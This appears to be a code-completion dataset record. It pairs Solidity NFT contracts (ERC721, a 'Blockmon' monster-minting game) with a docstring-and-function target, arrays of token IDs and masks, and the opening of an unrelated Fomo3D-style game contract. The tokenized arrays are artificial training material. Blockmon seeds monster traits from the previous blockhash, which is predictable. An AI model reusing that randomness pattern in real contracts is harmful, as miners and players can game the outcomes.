* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: contracts/INFTStaker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface INFTStaker is IERC165 {
struct Reward {
address minter;
uint256 amount;
uint256 startBlock;
uint256 endBlock;
bool isStaked;
}
function rewardRecords(uint256 id) external view returns (address, uint256, uint256, uint256, bool);
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) external;
}
// File: contracts/Blockmon.sol
pragma solidity ^0.6.1;
contract Blockmon is ERC721, Ownable {
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
Counters.Counter private _rewardIds;
string public _contractURI;
IERC20 public token;
INFTStaker public nft;
// number of created mons (not counting merges)
uint256 public numMonsCreated;
// tinkerable variables
uint256 public minStakeTime;
uint256 public minStakeAmt;
uint256 public tokenPrice;
uint256 public series;
uint256 public maxMons;
uint256 public mergePrice;
uint256 public mergeTime;
uint256 public genMergeLag;
bool public canMerge;
struct Mon {
address miner;
uint256 unlockBlock;
uint256 parent1;
uint256 parent2;
uint256 gen;
uint256 amount;
uint256 duration;
uint256 powerBits;
uint256 series;
}
mapping(uint256 => Mon) public monRecords;
constructor(string memory name,
string memory symbol) ERC721(name, symbol) public {
minStakeAmt = 1;
minStakeTime = 10000;
tokenPrice = 1e18;
}
function _createNewMonster(address to,
uint256 unlockBlock,
uint256 parent1,
uint256 parent2,
uint256 gen,
uint256 amount,
uint256 duration
// series is a global variable so no need to pass it in
) private {
_rewardIds.increment();
uint256 currId = _rewardIds.current();
monRecords[currId] = Mon(
to,
unlockBlock,
parent1,
parent2,
gen,
amount,
duration,
uint256(blockhash(block.number-1))+amount+duration,
series
);
_safeMint(to, currId);
}
// Burn gem to get a new monster
function mineMonster(uint256 gemId) public {
require(nft.ownerOf(gemId) == msg.sender, "must use nft you own");
(, uint256 amount, uint256 start, uint256 end, ) = nft.rewardRecords(gemId);
if (end == 0) {
end = block.number;
}
require((end-start) >= minStakeTime, "nft is not ready");
require(amount >= minStakeAmt, "staked amt is not high enough");
require(numMonsCreated < maxMons, "no new mons out yet");
_createNewMonster(msg.sender,
0,
0,
0,
0,
amount,
end-start);
numMonsCreated += 1;
nft.burn(gemId);
}
// Directly purchase monster with the set token
function buyMonster() public {
require(numMonsCreated < maxMons, "no new mons out yet");
token.safeTransferFrom(msg.sender, address(this), tokenPrice);
_createNewMonster(msg.sender,
0,
0,
0,
0,
0,
0);
numMonsCreated += 1;
}
// Breed a monster
// Only allowed during certain times
function mergeMonsters(uint256 id1, uint256 id2) public {
require(canMerge == true, "can't merge yet");
require(id1 != id2, "can't merge the same monster");
// get refs to structs
Mon memory mon1 = monRecords[id1];
Mon memory mon2 = monRecords[id2];
// ensure they are valid for merging
require(mon1.unlockBlock < block.number, "not ready yet");
require(mon2.unlockBlock < block.number, "not ready yet");
require(ownerOf(id1) == msg.sender, "need to own monster");
require(ownerOf(id2) == msg.sender, "need to own monster");
// set both parent monsters to the new unlock date
monRecords[id1].unlockBlock = block.number + mergeTime + mon1.gen*genMergeLag;
monRecords[id2].unlockBlock = block.number + mergeTime + mon2.gen*genMergeLag;
// set numAncestors1 to be the minimum of both
uint256 gen1 = mon1.gen;
uint256 gen2 = mon2.gen;
if (gen2 < gen1) {
gen1 = gen2;
}
// mint the user their merged monster
_createNewMonster(
msg.sender,
block.number + mergeTime + gen1*genMergeLag,
id1,
id2,
gen1+1,
mon1.amount + mon2.amount,
mon1.duration + mon2.duration
);
// Pay the merge fee
token.safeTransferFrom(msg.sender, address(this), mergePrice);
}
function setMinStakeAmt(uint256 a) public onlyOwner {
minStakeAmt = a;
}
function setMinStakeTime(uint256 t) public onlyOwner {
minStakeTime = t;
}
function setTokenPrice(uint256 p) public onlyOwner {
tokenPrice = p;
}
function setSeries(uint256 s) public onlyOwner {
series = s;
}
function setMaxMons(uint256 m) public onlyOwner {
maxMons = m;
}
function setMergePrice(uint256 p) public onlyOwner {
mergePrice = p;
}
function setMergeTime(uint256 t) public onlyOwner {
mergeTime = t;
}
function setGenMergeLag(uint256 g) public onlyOwner {
genMergeLag = g;
}
function setCanMerge(bool b) public onlyOwner{
canMerge = b;
}
function setTokenAddress(address tokenAddress) public onlyOwner {
token = IERC20(tokenAddress);
}
function setNFTAddress(address nftAddress) public onlyOwner {
nft = INFTStaker(nftAddress);
}
function setBaseURI(string memory uri) public onlyOwner {
_setBaseURI(uri);
}
function setContractURI(string memory uri) public onlyOwner {
_contractURI = uri;
}
function moveTokens(address tokenAddress, address to, uint256 numTokens) public onlyOwner {
IERC20 _token = IERC20(tokenAddress);
_token.safeTransfer(to, numTokens);
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function getTotalMons() public view returns (uint256) {
return _rewardIds.current();
}
}
|
Burn gem to get a new monster
|
function mineMonster(uint256 gemId) public {
require(nft.ownerOf(gemId) == msg.sender, "must use nft you own");
(, uint256 amount, uint256 start, uint256 end, ) = nft.rewardRecords(gemId);
if (end == 0) {
end = block.number;
}
require((end-start) >= minStakeTime, "nft is not ready");
require(amount >= minStakeAmt, "staked amt is not high enough");
require(numMonsCreated < maxMons, "no new mons out yet");
_createNewMonster(msg.sender,
0,
0,
0,
0,
amount,
end-start);
numMonsCreated += 1;
nft.burn(gemId);
}
| 231,180 |
[
1,
38,
321,
17474,
358,
336,
279,
394,
6921,
8190,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
312,
558,
11415,
8190,
12,
11890,
5034,
17474,
548,
13,
1071,
288,
203,
565,
2583,
12,
82,
1222,
18,
8443,
951,
12,
23465,
548,
13,
422,
1234,
18,
15330,
16,
315,
11926,
999,
290,
1222,
1846,
4953,
8863,
203,
203,
565,
261,
16,
2254,
5034,
3844,
16,
2254,
5034,
787,
16,
2254,
5034,
679,
16,
262,
273,
290,
1222,
18,
266,
2913,
6499,
12,
23465,
548,
1769,
203,
565,
309,
261,
409,
422,
374,
13,
288,
203,
1377,
679,
273,
1203,
18,
2696,
31,
203,
565,
289,
203,
203,
565,
2583,
12443,
409,
17,
1937,
13,
1545,
1131,
510,
911,
950,
16,
315,
82,
1222,
353,
486,
5695,
8863,
203,
565,
2583,
12,
8949,
1545,
1131,
510,
911,
31787,
16,
315,
334,
9477,
25123,
353,
486,
3551,
7304,
8863,
203,
565,
2583,
12,
2107,
49,
7008,
6119,
411,
943,
49,
7008,
16,
315,
2135,
394,
6921,
87,
596,
4671,
8863,
203,
203,
565,
389,
2640,
1908,
11415,
8190,
12,
3576,
18,
15330,
16,
203,
8227,
374,
16,
203,
8227,
374,
16,
203,
8227,
374,
16,
203,
8227,
374,
16,
203,
8227,
3844,
16,
7010,
8227,
679,
17,
1937,
1769,
203,
565,
818,
49,
7008,
6119,
1011,
404,
31,
203,
565,
290,
1222,
18,
70,
321,
12,
23465,
548,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
contract CAE4Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
// fired whenever an janwin is paid
event onNewJanWin
(
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is CAE4Devents {}
library CAE4Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
uint256 initPot; // the init pot from last round
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 pot; // % of buy in thats paid to p3d holders
uint256 aff;
uint256 com;
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 win; // % of pot thats paid to p3d holders
uint256 next;
uint256 com;
}
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract CAE4Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using CAE4DKeysCalcLong for uint256;
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0xBE207a22b2dcabB7AAd232d8F631cBEda56E379d);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xBCE0e39E0b9CbD62fde3B490523231eA2827Df1d);
//JIincForwarderInterface private Jekyll_Island_Inc ;
//PlayerBookInterface private PlayerBook ;
//address public playerbookaddr ;
//address public jekylladdr ;
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "CAE4D";
string constant public symbol = "CAE4D";
uint256 private rndExtra_ = 30;//extSettings.getLongExtra(); // length of the very first ICO
uint256 private rndGap_ = 30;//extSettings.getLongGap(); // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => CAE4Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => CAE4Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
